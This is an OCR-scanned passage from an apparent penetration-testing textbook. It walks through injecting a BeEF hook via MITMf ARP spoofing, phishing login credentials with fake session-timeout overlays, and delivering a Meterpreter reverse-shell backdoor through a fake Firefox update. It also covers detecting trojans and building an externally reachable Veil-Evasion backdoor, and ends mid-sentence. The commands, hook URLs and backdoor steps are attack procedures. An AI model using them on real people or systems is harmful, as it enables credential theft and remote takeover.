—js-url http://10.0.2.15:3000/hook. js

It's the same command that we always use, mitmf. We're doing ARP-spoofing, we're giving
the gateway 10.0.2.1, the target 10.0.2.5, the interface eth0, and we're using the —-
inject plugin, and a ——js-url option, a URL for a JavaScript, the URL where the hook is
stored, in our example its placed at http://10.0.2.15:3000/hook. js. After launching
the command, browse the web normally, or just go to the BBC website. Now, if we go back
to our BeEF, we can see that we have a target, and that target is a Windows device:

Hooked Browsers

Getting Started Logs Current Browser
4+ Online Browsers
4 — s.effectivemeasure.net Details Logs || Commands Rider || XssRays Ipec Network || WebRTC
7 @=
: l LY 2E @ Category: Browser (6 ltems)
7 =
(:? : 0 Browser Version: UNKNOWN
<3 10025 Browser UA String: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:61.0) Gecko/20100101 Firefox/61.0
4 +— Offline Browsers B La us
rowser uage: en-|
49100215 o
i = Browser Platform: WinG4
7 #el10025
: Browser Plugins:
7@ 10025 ugns: 1
: Window Size: Width: 0, Height: 0
7 #Me10025 9
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The code has been automatically injected into the BBC website, so the user didn't have to
visit anything or click a URL. The code will be injected into any web page they visit and
they'll get hooked. The user will get hooked as soon as they go to any website. If we go to
the page source, and look at the bottom, we will see that we have the hook script at the
bottom of the page source—that's why it's been executed:

| <s=oript sre="http://10.0.2.15:3000/hock.j=s" type="text/javascript"></script></body> <fht.ml>|

That's the reason why we could actually put the script under any page. If we are making
fake pages, we can just copy the source of any page and put the script at the bottom. Then,
it will be executed on the target page and we will be able to hook our target to the browser.

BeEF - basic commands

Now that we have our browser or target hooked, we can go to the Commands tab and start
executing commands on the target:

Details Logs Commands Rider XssRays Ipec Network || WebRTC

Module Tree Module Results History
Search id « date label

| Browser (53)
+ |_)Chrome Extensions (6)
1 Debug (9)
- | Exploits (78)
- |_JHost (22)
JIPEC (9)
- |_IMetasploit (1)
JMisc (16)
I Metwork (19)
- || Persistence (5)
_|Phonegap (16)
1 Social Engineering (21)
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We can use the Search option to look for a certain command, or we can use the categories
and look for commands suitable for what we want to perform on the target computer. Some
of the commands are information-gathering commands, some of them are social
engineering, some of them will even give us full control over the target computer. There are
a lot of commands, so we won't be able to go over all of them, but we will be looking at
some of the most important commands so we know how to experiment and run them.

If we click on the Browser (53) option, we will see commands related to attacks that we can
do inside the browser:

4 ) Browser (53)
- |_JHooked Domain (25)

Detect Foxit Reader
Detect LastPass
Detect QuickTime
Detect RealPlayer
Detect Silverlight
Detect Toolbars
Detect Unity Web Player
Detect Windows Media Player
Play Sound
Remaowve Hook Element
Unhook
Webcam
‘Webcam Permission Check
Detect Evernate Weh Clipper
Detect VLC
Get Visited Domains
Get Visited URLs (Avant Browser)
Webcam HTMLS

(» Detect Popup Blocker

@ Detect Activex

@ Detect Extensions

@ Detect FireBug

@ Detect MS Office

@ Detect Simple Adblock

@ Detect Unsafe ActiveX

@ Fingerprint Browser (PoC)

@ Get Visited URLs

@ Spyder Eye
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We can see attacks that will allow us to get a screenshot, we can try to turn on the webcam
and see whether it works, and open the webcam on the target. If we click on Exploits (78),
we will see a number of exploits that we can run:

4 | Exploits (78)
"1 BeEF_bind (3)
- |_]Camera (3)
+ |__] Local Host (7)
INAS (2)
- || Router (30)
) Switch (1)
XS5 (4)
Apache Cookie Disclosure
Apache Felix Remaote Shell (Reverse Shell)
ColdFusion Directory Traversal Exploit
HP uCMDE 9.0x add user CSRF
Jboss 6.0.0M1 JMX Deploy Exploit
Jenkins Code Exec CSRF
Kemp LoadBalancer Command Execution
RFI Scanner
Shell Shock
Shell Shock Scanner (Reverse Shell)
Skykpe iPhone XSS Steal Contacts
WTiger CEM Upload Exploit
WAN Emulator Command Execution
Zenoss 3.x Add User CSRF
Zenoss 3.x Command Execution
mOndwall Reverse Root Shell CSRF
pfSense Reverse Root Shell CSRF
Axous <= 1.1.1 Add User CSRF
EXTRANet Collaboration Tool (extra-ct) Command Execution
GlassFish WAR Upload XSRF
GroovyShell Server Command Execution
Opencart Reset Password CSRF
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All we have to do is click on the module that we want to run and click on the Execute
button:

Module Tree Module Results History Apache Cookie Disclosure

Search l... date label Description:  This module exploits CVE-2012-0052 in order to read the victim's cookies, even if issued with
the HItpONly anbute, The expioit only works it the target Server 1S minning Apache HI TP
Server 2.2.0 hiough 2.2.21.

4 ] Exploits (78) Lo
- [_JBekF_hind (3)
_1Camera (3)
» () Local Host (T)
CINAS (2)
+ () Router (30)
) Switch (1)
XSS (4)

_ Apache Cookie Disclosure
Apache Fellx Remote Shell
ColdFusion Directory Trave
HP uCMDE 9.0x add user C
Jboss 6.0.0M1 JMX Deploy

_ Jenkins Code Exec CSRF
Kemp LoadBalancer Comm

. RFl Scanner
Shell Shock
Shell Shock Scanner (Reve!
Skykpe iPhone XSS Steal C
VTiger CRM Upload Expiolt
WAN Emulator Command E
Zenoss 3.x Add User CSRF
Zenoss 3.x Command Excel
moOnOwall Reverse Root She
pfSense Reverse Root Shel
Axous <= 1.1.1 Add User CE
EXTRAnct Collaboration Tos
GlassFish WAR Upload X5F
GroovyShell Server Comma

< — :

Id: 223

Execute

There are some modules that need some options to be set up, and we'll have examples of
them as well.
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In the Social Engineering (21) option, we can show fake updates, fake notification bars, and
SO on:

4 —]Social Engineering (21)
Clickjacking
Fake LastPass
Leamtuf Download
& Clippy
() Fake Flash Update
() Fake Naotification Bar (Chrome)
) Fake Notification Bar (Firefox)
() Fake Notification Bar (IE)
, Google Phishing
o Pretty Theft
 Replace Videos (Fake Plugin)
) Simple Hijacker
() TabMNabbing
@ Fake Evernote Web Clipper Login
@ Firefox Extension (Bindshell)
@ Firefox Extension (Dropper)
@ Firefox Extension (Reverse Shell)
@ HTA PowerShell
@ SiteKiosk Breakout
@ Steal Autocomplete
@ User Interface Abuse (IE 9/10)

Let's have an example of a very simple command. We're going to run an alert to show an
alert box. So, we are just using Search to filter, and we can see that it will just create an alert
dialog, and it's going to say BeEF Alert Dialog:
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4 —Phonegap (1)
Alert User

Chapter 14
Module Tree Module Results History Create Alert Dialog
alert i... date label Description:  Sends an alert dialog to the hooked browser.
4 Browser (1) ' A I 27
4 - Hooked Domaln (1) 1 e !
& Create Alert Dialog ] BeCF Alert Dialog

Execute

We can modify the alert and type to anything we want, for example, change Alert text
to test, and then, when we hit the Execute button, in the target browser, we will see a

message saying test has been injected into the target browser, as shown in the following

screenshot:

The page at http:/is.effectivemeasure.net says:

test
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Another interesting thing that we can do is the raw JavaScript. It will allow us to execute
any JavaScript we want. So, again, we search Google for a useful JavaScript code, such as a
keylogger, or we can write our own script if we know JavaScript, and whatever we write
will be executed on the target. Again, we're going to pop in an alert, and it is going to
return BeEF Raw JavaScript, and hit the Execute button:

Module Tree Module Results Histary Create Alert Dialog
alert i... date label Descriplion: Sends an alerdialog to the hooked Drowser.
4 ] Browser (1) I 7
4~ Hooked Domaln (1)
Alert text EcEF Alert Dialog

w Create Alert Dialog
& 5 Phonegap (1)
Mert User

Execute

It will give us a dialog saying BeEF Raw JavaScript, just like we got in the previous
example:

The page at http://s.effectivemeasure.net says:

BeEF Raw Javascript
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Now, let's see whether we can get a screenshot of the target computer. For this, we're going
to use a plugin called Spyder Eye. So, again, click on the plugin, hit Execute, give it a
second, then we're going to click on command 4 in the Module Results History tab:

Re-execute command

WeIJHostmg Domains | Blogs

BEE T EEEE O

w Choose a Website Pac

E

Asluwasso 00 /mo.

Want a website but don't want to pay for
hosting? Then this is the right hosting package
for you.

Ads on your site

50 MBE disk space
*With purchasze of a domain, prices start at
2295

Leam more | Compare packages

| Sign Up! J

Module Results History Command results -
id « | date label 1 Mon Jul 23 2018 10:33:31 GMT-0400 (EDT) Y
0 2018-07-23 09:53 command 1
1 2018-07-23 10:29 command 2 2 t

: WEB HOS
2 2018-07-23 10:30  command 3 myS I e
3 2018-07-23 10:33 command 4

E-Com

The preceding image shows us a screenshot of what the target person is looking at.
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Another really good plugin is a Redirect Browser plugin. It will allow us to redirect the
browser to any web page we want. This could be very useful because we can use it to
redirect the target person and tell them that they need to download an update, and instead
of giving them an update, we give them a backdoor. We can redirect them to a fake login
page for Facebook — we can do anything we want with the Redirect Browser plugin. We
can set the website that we want the target to be redirected to. We're going to redirect them
to http://beefproject.comin this example, and once we hit Execute, the target is

redirected to http://beefproject.com or to any specific link mentioned in the Redirect
URL textbox:

Module Tree Module Resulte History Redirect Browser
redl id. date label Description: This medule wil redirect the selected hooked browser to the addrese specified in the ‘Redirect URL
4 ) Browser (3) o JUIRD7.730947  commana 1 Input.
4 {_j Hooked Domain (3) Id: 23
+ Redirect Browser
@ Rediecl Browser (Rickn Redirect URL: http:#beefprojectcom/
@ Redirect Browser (Eram
# (3 Debug (1)
Test HTTP Redirect
4 IPEC (1)
Redis
Fxecite
 —

These are some of the basic modules that we can use.
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BeEF - Pretty Theft

Now let's have a look at a Social Engineering plugin that will allow us to steal usernames
and passwords from accounts. Basically, it will dim the screen and will tell the person that
they got logged out of the session so they need to log in again to get authenticated. This will
allow us to bypass HTTPS, HSTS, and all the security that's used by the target account
page. For example, if we are trying to get usernames and passwords for Facebook, we will
be able to bypass all the security that Facebook uses, because we are just showing a fake
Facebook page, so the user will never actually make contact with Facebook. Let's click on

Pretty Theft, which will open the tab:

Detats Lngs Commands Hider XssHays Iper: Netwnrk WehH 102
Maodule Tree Module Results History Pretty Thett
prett i.. date label Descriplion:  Asks Ihe user 107 el ISAMAMS And PASSWOr USING A HnAtg
& (5 Sucial Engineeting (1) 0 2018-0.. conuna...
. Pretty Theft 0359 1 Id: n

Diiakog Type. Facebook
Backing: Giey

Custem Loge  hitn0.0.0.0:3000/uiimediaimagesbeefpng
[[GEnenc nnly):
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In the preceding screenshot, we can click which account we want to hijack. Let's say we're
going with Facebook. We can select what the Backlight will be, so we're just leaving that
as Grey, and then we hit Execute.

When we go to our target, we can see that they're being told that they got logged out of
their session so they need to log in with their username and password:

Facebook Session Timed Out

Your session has timed out due to inactivity.

Please re-enter your usermame and password to login.

Email: | zaid |

Password: | [Ty |

Enter the username as zaid, then we are going to put our password as 12345, and hit Log
in.

If we go back to the Terminal, we can see that we got our username as zaid and the
password as 12345:

Module Tree Module Results History Command results
rett i.. date label 1
H data: answer=zaid: 12345
4 5] Social Engineering (1) 0  2018-0.. comma..
{ Pretty Theft 05:59 1
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We can use this to hijack a number of accounts. Let's look at another example. If we go with
YouTube, we give it an Execute:

Module Tree Module Results History Pretty Theft
prett i.. date label Description:  Asks the user for their username and password using & floating div.
4 7 Social Engineering (1) 0 2018-0.. comma..

 Pretty Theft 09:59 1 Id: 71

Dialog Type: YouTube

Backing: Grey

Custom Logo | hitp://0.0.0.0:3000/uiimediafimages/beef.png
(Generic only):

At the target screen, we see the YouTube logo and we can try to log in. Putin a
Username and Password, click Sign In, and the credentials will be captured:

Session Timed Out E VT

Your session has imed out due to inactivity.

Please re-enter your username and password fo login.

Username:

Pazsword:

So, again, this is a really good way to gain access to accounts because, even if the user is not
planning on logging into the account that we are trying to steal, we will kind of force them

to enter their username and password to be logged back into their account, and then we
will be able to capture the username and password.
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BeEF — Meterpreter 1

In this section, we are going to see how we can gain full control and get a Meterpreter
session from the target computer. So, again, go to the Commands tab, and then Social
Engineering. There are a number of ways that we can get a reverse shell. Now, it all
depends on how we want to perform our social-engineering attack. We're going to use a
notification bar, Fake Notification Bar (Firefox)—we're choosing Firefox because our target
runs a Firefox browser:

Details Logs Commands Rider AssRays Ipec MNetwork WebRTC
Module Tree Module Results History Fake Notification Bar (Firefox)

Scarch id... date label Description:  Displays a fake notification bar at the top of the screen, similar to those
~ presented in Firefox. If the user clicks the noti ion they will be prompted to
) Browser (53) T download a malicious Firefox ion (by defautt).
_JChrome Extensions (K) w

_)Debug (3) Id: 57
+ (] Exploits (78)
_JHust(22) PluginURL: | hitp://0.0.0.0:3000/apifipec/ff_extension

e Notfication | A additional plugin is required to display sc
I MBtaspInir (1) lext plug q play

“IMisc (16)
I Network (19)
_Persislence (5)
_|Phonegap (16)
4 Social Engineering (21)
Clickjacking
Fake LastPass
Lcamiul Download
@ Clippy
» Fake Flash Update
& Fake Nofification Bar (Chi
. Fake Notification Bar (Fi
@ Fake Notification Bar (IE)
& Google Phishing
@ Pretry Theft
& Replace Videos (Fake Pl
& Simple Hijacker
& TabNabbing
@ Fake Evernote Web Clip
@ Firetox Fxtension (Rindsh
@ Firefox Extension (Droppe
@ Hiretox Extension {Revers

HTA PuwerShell A Execute
< — >

Basically, it will display a notification bar telling the user that there is a new update or a
plugin that they need to install. Once they install the plugin, they'll actually install a
backdoor and we will gain full access to their computer. We'll implement it by using the
same backdoor that we created and have been using throughout this book.
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We have stored the backdoor in our web server in /var/www/html and named

it update.exe, but it's the same backdoor, the same reverse-HTTP Meterpreter that we
used before. Provide the full address of the backdoor inside the Plugin URL textbox, which
ishttp://10.0.2.15/update.exe, change the Notification text to Critical update
for Firefox, click here to install, as shown in the following screenshot, and hit
the Execute button:

Fake Notification Bar (Firefox)
Description:  Displays a fake notification bar at the top of the screen, similar to those

presented in Firefox. If the user clicks the notification they will be prompted to
download a malicious Firefox extension (by default).

Id: 57

Plugin URL: | http://10.0.2.15/update.exe

{\Jgiﬁcatiﬂn Critical update for Firefox, click here to insta
ext:

At the target, we can see that they're getting a message telling them that there is a new
update for Firefox:

— c @ @ 10.0.2.15

2 Critical update for Firefox, click here to install | [nstall plug-in..

Once the target downloads and installs it, they'll have a backdoor downloaded onto their
machine. Once they try to run this backdoor to install the update, they'll actually run a
backdoor that will give us full access to their computer. Before we run the backdoor, we
need to listen on the port, exactly as we did before. Open a msfconsole Terminal and run
show options. Use the Metasploit multi-handler, the same way we've done throughout
this book to listen on ports. Use meterpreter/reverse/http, we have our IP and the
port. So, we are just going to run exploit, and we are listening for the connections now.
Let's run the update we just downloaded. If we go on the target, we will see that we got full
control over it using a Meterpreter session.
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Again, this is just an example of one way of gaining full control over the
target computer. There are a number of ways that we can do this using
BeEF, and there are many social engineering attacks that we can do to
gain full access to the target computer. It's highly recommended to go
over the plugins, experiment with them, and see what attacks can be
performed.

Detecting Trojans manually

The Trojans we've created so far are amazing; they can bypass antivirus programs — they
run two pieces of code, the first one runs in the background, which runs our own code and
does what we want it to do, such as opening a port or connecting back to us and giving us a
shell, and it runs another piece of code that the user expects. It could display an image, play
an MP3, or display a PDF file. This functionality makes it very difficult to detect, so the best
thing to do is to check the properties of the file and make sure that it is what it's claiming to
be. In the following screenshot, we have a Packt image and we can see thatit's a . jpg, so it
looks like a picture, it has an icon, and if we run it we will get a picture, like we saw in
Chapter 13, Client-Side Attacks - Social Engineering:

& = ~ 1 &> ThisPC » Downloads »
# Quick access J
[l Desktop -
b Downloads * PGCI(T) PGCI(T)
Documents »
[&] Pictures - 5|
D Music image.exe Imagejpg.zip Imageexe.jpg
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Right-click on it and go to Properties. When we go to Properties, we will see that this is an

application, not a picture:

= ImageseitreporP exejpg

General Compatibilty Securty Details Previous Versions

|Irnageexe.jpg

Type of file:  Application (.exe)

Description:  Imageexe jpa

Location: C:AlzershEUser\Downloads
Size: 874 KB (854,576 bytes)
Size on disk: 876 KB (857,024 bytes)

Created: Today, July 24, 2018, 20 hours ago
Maodified: Today, July 24, 2018, 20 hours ago
Accessed: Today, July 24, 2018, 10:50:31 PM

Attributes: [ Readonly []Hidden

Security: This file came from anaother
computer and might be blocked to
help protect this computer.

Cance

Advanced...

[J Unblock

Apply
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The same goes for PDFs and MP3s; it should say MP3 if it's an MP3, it should say PDF if it's
a PDF, and it should say . jpgifit's a jpg. But in this case, it's telling us that it's an
executable. Going through the Details, we will see that it is an application and not a
picture — if it was a picture, it would tell us that it was a picture:

= ImageseitreporP exejpg *

General Compatibilty Securty Detaills  Previous Versions

Property Walue

Descripticn
File description
Type Application
File version 0.000
Product name
Product wersion
Copyight
Size 874 KB
Date modfied ~ 7/24/2018 2:51 AM
Language English {United Kingdom)

Remove Properties and Personal Information

Ccwnes || e

From this, we'll know that we're being tricked. We can also play with the filename and we
will be able to reset it; if we rename the file to anything else, we will see that it's an . exe file
and not a . jpg. If we change it to test, we will see that the name has been changed to
test.exe:

Packt>

test.exe
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Now, let's assume this Trojan was combined with an executable. If we run it, we expect to
get .exe and an application. Let's assume that it's combined with Download Accelerator
Plus software, instead of being combined with a picture. This task is going to be more
difficult because we are expecting an application anyway. With the picture and with the
PDF, Windows will tell us that we are trying to run an executable, but if we are expecting
an executable, then we are going to run it anyway, such as with DAP. It will play the
executable we are looking for and the executable will send a reverse session to Kali.

Go to a tool called Resource Monitor, and from that tool, go to the Network tab. There, we
will be able to see all the open ports on our machine:

(5) Resource Manitar ] X

File  Maoniter  Help

Overview CPU  Memory Disk  MNetwork

[ image PID Send (Bjseq)  Recelve [B/seq) Total (B/seq) 2 > Viewr il 2

[ browser.exe =] 8 55 142

L] swchast.exe fnetsves ) 2564 H 4 A

[ svehost.exe iNetworksennce... 1504 1 2 3
60 Seconds 0d
TCP Connections

Metwork Activity B 0 kops Network VO W v Network Utilzation v

TCP Connections &

Image PID Local Address Local Port Remote Addr Remote Port Packet Loss (¢} Lil!‘l‘\q‘ ims)

swehost.exe [netsves -pl 2564 10.0.2.5 49826 52.230.7.59 443 o 154

WinStore App.exe 2600 10025 49828 23.56.28.142 443 o 57 Eth 100%

WinStore.App.exe 2600 10.0.2.5 49829 23.56.28.142 443 o 52 JEME 1

browser.exe 6888 10,025 49933 10.0.2.15 8080 o 1

WinStore.App.exe 2600 10.0.2.5 4981 23.56.28.142 443 o 0

WinStore.App.exe 2600 10,025 49830 23.56.28.142 443 -

SearchUl.exe 5320 10.0.2.5 49802 72247228186 443

Listening Ports Al

Image PID Address Part Prolacol Firewsall Stalus L)

sshd.exe 3388 IPve unspectied 2 e Allowed, not r...

sshd.exe 18 IPw4 unspedified 22 P Allowed, not r...

svehost.exe (RPLSS -p) 82 IPve unspectied 135 (& Allowed, restri...

swchost.exe (RPCSS -p) ar2 |Pv4 unspecified 135 TP Allowed, restri...

System 4 00 137 uoe Allowed, restri..,

System 4 10.0.2.5 130 uopP Allowed, restri...

S!ﬂelﬂ 4 100,25 139 1P Allowed, restri... ok hoet

We can see that we have port 8080 and it's connecting to the 10.0.2.15 IP address. Obviously
port 8080 is not very suspicious, even if it was on port 80, it wouldn't look suspicious, and
also, it's coming from a process called browser.exe, which is not very suspicious either. The
suspicious part is the remote address; it's accessing 10.0.2.15 and we don't know what that
is. If it was a website, putting the IP in the browser should take us to a website or to a
server of that website. In most cases, if this is a hacker computer, it will not take us to a
website, and then we will know that this person is an attacker.
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To verify the attack, we can use a tool called Reverse DNS Lookup. It gives us an IP and
tells us which website this IP belongs to, or which domain this IP belongs to. Let's look at
an example on Facebook. Let's say we saw a suspicious-looking IP in our Resource
Manager. We are actually going to get a proper IP address for Facebook by pinging;:

Users\IEUser>ping www.facebook.com

loss |

64ms

We have seen the 157.240.7.38 IP; there is a connection on port 80 going to this IP. Copy
this IP and use Google to search for Reverse DNS, open the first site, paste the IP, and click
Reverse Lookup. We can see the IP that we saw in our resources:

SuperTool Beta?

157.240.7.3§|

ptr:157.240.7.38

i pir

Type IP Address Domain Name TTL

edge-star-z-mini-shv-01-gink facebook.com 60 min

Test Result

(] DMS Record Published DMS Record found

p dlag blacHist subnet tool dns propagation

If it's for a proper website, then there is nothing to be concerned about; if it looks
suspicious, then we will know that this is going to a suspicious person. Now, as we can see
in the preceding screenshot, it's going to Facebook and we are browsing Facebook — this is
normal, we are using Facebook so there's a connection between us and Facebook.
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Detecting Trojans using a sandbox

Now we are going to look at another way to discover malicious files, by using a sandbox. A
sandbox is basically a place where our file will be executed and analyzed. It will check
whether any ports will be opened, if it's going to modify registry entries—basically, if it's
going to do any suspicious stuff. It's not an antivirus program. Our Trojan might pass
antivirus programs, our Trojan passed all antivirus programs, but the sandbox applications,
or the sandbox environments, will run it in a controlled environment, see whether it does
anything suspicious, and give us a report. We can Google sandbox online, and an example
of it is a website called Hybrid Analysis (https://www.hybrid-analysis.com/).

Using the website is very simple: just go to the URL, select a file, and upload it. We can see
the report in the following screenshot; analyzing the file and generating the report might
take some time:

QPAYL;Eﬁ-Q HHome  Esubmissions - DContact  WFAG Q

8FCl

backdoor.exe
T

3 EED

i DDowrioadse O

Incident Response

@ Risk Assessment

Remote Access  Uses network protocols on unusual ports
Fingerpsint  Heads the active computer name
Hetwork Behavior  Contacts 1 host. View the network section for nove details.

Indicators

O Not all malicious and suspicious indicators are displayed. Got your own cloud sorvice or the full version te view all detas

Malicinus Indicarors [1]

Hiding 2 Mallicious Indicators.

Suspicious Indicators

Anti-Detection/Stealthyness

Sets the process emor mode to suppress emor bax

Once we get the report, we will see some basic information; we will see that Malicious
Indicators have been found. They're hiding it from us and we have to use the full version to
see them, but we don't really need to see them; if we read the whole report, we will know
that this file is malicious and it's going to do something bad on our computer.
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We can see that the file suppresses error boxes, so it doesn't display error boxes:

Suspicious Indicators

Anti-Detection/Stealthyness

r m

source AP Call
relevance 8510

ik

I DO

details “singut Samples” set its error mode 1o SEM_MOOPENFILEERRORBOX

It also modifies the registry, and we can see the registry parameters in the following

screenshot:

Installation/Persistance

2 fic reci

source AP Call
relevance 4710

details “«Input Sample»” monitors “\REGISTRAMMACHINE\SOFTWARENMicrosoft\Tracing \RASAPI32" [Filter: 14]
“«Input Sample»” monitors “\REGISTRMACHINE\SYSTEM\ControlSet 001 senaces \WinSock\Parameters\ Protocol_Catalog®™ (Filter: 1)
“slnput Samples” monitors "W REGISTRYMACHINE\SYSTEM \ContralSet 001 sensoes\WinSock 2\ Pararmeters! NarmeSpace_Catalogs” (Filter: 1)
“tlnput Sample:” monitors “\REGISTRY\MACHINE\SOFTWARE\Microsofth\ Tracing \RASMANCS" (Filter: 14)
“slingut Samples” monitors “HKCLSoftware’ Microsoft \Windows\CurrentVersion' Internet Settings\Connections” (Filter. 4; Subtree: 1)
“elngut Samples” monitors "W REGISTRY\MACHINE\SOFTWAREMecrasoft \Windows\CurrentViersion\ Internet Settings\Connections™ (Filter: 4; Subtree: 1)
“tlnput Sample:” monitors “\REGISTRY\MACHINE,SOFTWARE  Policies\ Microsoft\Windowsh CurrentVersion\Internet Settings” (Filter: 4: Subtree: 1)

We can see, in the preceding screenshot, that it's playing with the Internet Settings and
with the Connections. We can also see that it's using the Windows Sockets service, that is,
WinSock2, so it's trying to create connections. We can also see that it's playing with the

address of the process:

Unusual Characteristics

Installs boolo/patches the

detaily “unoput Sempler” wiote byte 0285896 W virtual sduress “0xBAFFLAFCT (part of rrodhvie “CLADLLY
% % o e

CECH

e bytes Ipart of madule 46107075

Sameles” bytes "D2e604

HTCPPDLLTY

e
1o virtual addeoss “OxT46A1000" (pant of module "WS.

wiote bytes
o virtual ackdress " [part of madule "NSLOLL)

to virtual address “OuT4BCIO00" p

put Sample:™ L
st of madule “WSHIBG DL
source  Hook Detectan
relevance 10,10
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If we scroll down, we will see one of the most important indicators. There will be more
information in the following screenshot on Network Analysis. It tries to connect to Host
Address on Host Port 8080:

Network Analysis
DNS Requests

No relevant DNS requests were made

Contacted Hosts
Host Address Host Port Host Protocol Host Details

10:20.14.203 BOEO e Reserved

We can goonthe 10.20.14.203 IP and do a reverse DNS lookup to check whether the IP
is related to a website. Also, when we upload the payload, it's never going to be executed
on our computer, it's going to be executed on their server in a sandbox environment. Now,
obviously, for the method we have seen, we should always use it in a VirtualBox when we
are executing it on Windows. Always perform it on a virtual machine; don't perform it on
our main machine. Or we can upload it into a sandbox environment, it'll be analyzed for us,
and then we can read the report.

Summary

In this chapter, we studied a tool called BeEF and hooked it using MITMf. Then, by
redirecting the user, we captured their credentials by saying they had been logged out and
asked them to re-enter their username and password. Finally, we gained access to the
Meterpreter session and also learned how we can detect Trojans both manually and by
using a sandbox.

In the next chapter, we are going to look at performing attacks on an external network.
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Attacks Outside the Local
Network

This chapter mainly focuses on implementing attacks on the external network. For that, we
need to know what port forwarding is, so in this chapter, we are going to get an idea of
what we need to do to access the victim's machine through the router. Until now, we have
been focusing on internal backdoors; now we are going to look at external backdoors. We
will then look at the concept of IP forwarding, which plays another important part in
attacking from outside the local network. We are also going to look at examples to gain a
clear understanding of this concept, wherein we will hook our system to the external BeEF
browser.

In this chapter, we will be covering the following topics:

e Port forwarding

o External backdoors
e [P forwarding

o External BeEF
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Port forwarding

So far, we have learned about a number of methods to gain full control over computers. We
have seen how to do this using server-side attacks, client-side attacks, and social
engineering as well. All of the attacks that we've done so far have been inside the network,
and we've chosen to do that for convenience. That doesn't mean that these attacks only
work inside the network; in fact, all of these attacks work outside the network as well. The
only thing is that we need to configure our network in a way that allows incoming
connections from the internet from outside our local network. We can use BeEF, we can use
the backdoors, and we can also use server-side attacks—all the attacks that we have done so
far, except for the special cases. The only thing that we want to keep in mind is that we
want to configure the router to handle reverse connections properly, and direct them to the
Kali machine. Now we will be focusing on that aspect and seeing how it would work and
how to configure the router to achieve that.

Firstly, let's learn how to set up a default network. We've seen a similar diagram to the
following in chapter 5, Pre-Connection Attacks, and in the following diagram, we can see
that we have the ROUTER, we have the CLIENTS that are connected to the ROUTER, and
then we have the ROUTER that is connected to the INTERNET:

DEFAULT NETWORK CLIENTS
SETUP [;:;J
= 192.168.0.11

.] 192.168.0.12
d A -

ROUTER/GATEWAY
192.168.0.1

INTERNET 192.168.0.13

We mentioned before that none of the CLIENTS (all devices inside the network), don't
have an internet connection; they can only access the INTERNET through the ROUTER.
Whenever they want to request something, or they want to go to a website—for example, if
they want to go to Google—the device would send a request to the ROUTER, then the
ROUTER would go to the INTERNET, which is going to receive Google.com, and the
response would be sent back to the ROUTER, then the ROUTER would forward that
response to the device that requested it.

[363 1]



Attacks Outside the Local Network Chapter 15

So, inside the network, each device has its own private IP. We can see in the preceding
diagram that there are some IPs are written in red, and these only exist within the network;
that's why we call them private IPs, because outside the network these IPs are not visible.
Once we are in, we can see that the router has two IPs: it has a private IP in red, which is
accessible by all the devices in the network and is only used inside the network; and it also
has a public IP, which is in green, and is accessible through the INTERNET. The IP that is
highlighted in green is the IP that Google sees. If we actually go to Google, or to any other
website, they see an IP address but they won't see our private IP address; they'll actually
see the IP address of the ROUTER because the ROUTER is the device that's actually
making the requests, not the machine. All the requests made by these devices on the same
network will all appear as if they're coming from the same machine, or from the same

IP. Again, this is because the only device that has access to the INTERNET is the ROUTER;
none of the other devices do.

In most cases, or, if we think about it, in all the attacks that we do, the main thing we want
is to get a reverse connection. Even when we're using the BeEF browser, we actually get a
connection on port 3000, which is the port that the BeEF is working on, and when we're
using our backdoors, we actually receive a connection on the port that we specify when we
make the backdoor. When we want to send that backdoor to somewhere outside our
network, the first thing we have to keep in mind is that our local IP is not going to be
visible. What we have to do is use the public IP, the IP of the router. To know the router's
IP, we just have to go on Google, and then type in whats my IP in the search bar. Google
will return the IP address of the router, and that IP will be the same from all the machines
in the same network.

Now, we are connected through a wireless card. When we launch the command, we will
see that we are not using a NAT connection, we are using an external wireless card that's
connected to the home network. Therefore, all the devices in our wireless network at home
will have the same IP. Again, that's because they all use the same router, so they're all
connected to the same network. We will be using this IP in our backdoor, we're going to
send the backdoor to a person that exists on the internet, that person is going to run that
backdoor, and that backdoor is going to use a reverse connection. It's then going to try to
connect back to the router on port 8080, for example, if we chose that port in the backdoor.
Once the router gets a request for port 8080, it won't know what to do with it, because the
router is not listening to port 8080, and this request will not tell the router where it wants
to go. All we need to do is configure the router to tell it that we want to forward the port
8080 to the Kali machine whenever we get a request from it. We are just using 8080 as an
example, but we can do it for any port that we are listening on, whether it's 8080, 444, or
3000 for BeEF.
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The main idea is that we want to use our real IP outside the network. Whenever we run any
attack in previous chapters and even in future chapters, if we want to run that attack on the
internet, on someone who doesn't exist on our home network, then we first of all make sure
we use the public IP, and also make sure we configure the router to forward requests on the
port that we're listening to on the Kali machine. We're going to see how to do that in the
next section of the chapter.

External backdoors

In this part, we are going to study how to create a backdoor. The only difference is that
we're going to set the IP to the public IP instead of the local IP, and we're going to create a
backdoor exactly the same way that we used to create it when we were hacking devices in
the same network. For this, we are going to use Veil-Evasion, and we are going to do the
same steps used in Chapter 12, Client-Side Attacks. We can use the 1ist command to see
what options we have we are going to use number 9, it's the exact same payload that we
used in our previous example in Chapter 12, Client-Side Attacks, the reverse_http
payload. We're going to use command 9, and we can see the options by using the options
command. As shown in the following screenshot, we can see that the LPORT is set to 8080
by default, and we will keep that the same:

Payload: cs/meterpreter/rev_http loa

Required Options:
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The only thing that we are going to change is the LHOST, and in the previous sections when
we were receiving connections on our own computer we used to set it to the local

IP 192.168.0.11, because that's the IP that the devices use inside the network; but
whenever we want to do things on the outside the network, we want to use the real IP,
because these internal IPs are not visible to computers outside the network.

Now, we are going to use the IP that we see on Google, so when we type in whats my
1P in Google search, we will get the IP as 89.100.145.189; we're going to use that as the
LHOST in our backdoor, and we are going to launch the following command:

set LHOST 89.100.145.189

Then, to make sure everything is set up properly, use the info command. Once we launch
the info command, we will see that the port is 8080 and we're using the public IP
89.100.145.189:

Payload information:
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This is the most important step, and then we're going to use the generate command to
generate the backdoor like we did in previous chapters, and we're just going to name the
backdoor backdoor . exe. Hit Enter, and that will generate our payload for us. The path of
the payload can be seen in the following screenshot:

*] Your payload files have beer rated, don't get caught!

t!] And don't submit samples to any online scanner!

As usual, we are going to copy the backdoor in our Apache server /var/www/html
directory using the following command:

cp /var/lib/veil-evasion/ouput/complied/backdoor.exe /var/www/html

We will also see how to download this backdoor from the internet from outside the
network. Now all we have to do is listen for incoming connections using the multi-handler,
we've done that before again in chapter 12, Client-Side Attacks. While we are going to listen
to the multi-handler we are going to listen on our local IP, so we are not going to listen on
the external/global IP, we are going to listen on the local because we can't listen on the
external, we are in the network and we only have control over current Kali machine. In the
Kali machine we will be listening on port 8080, and in the external device the backdoor will
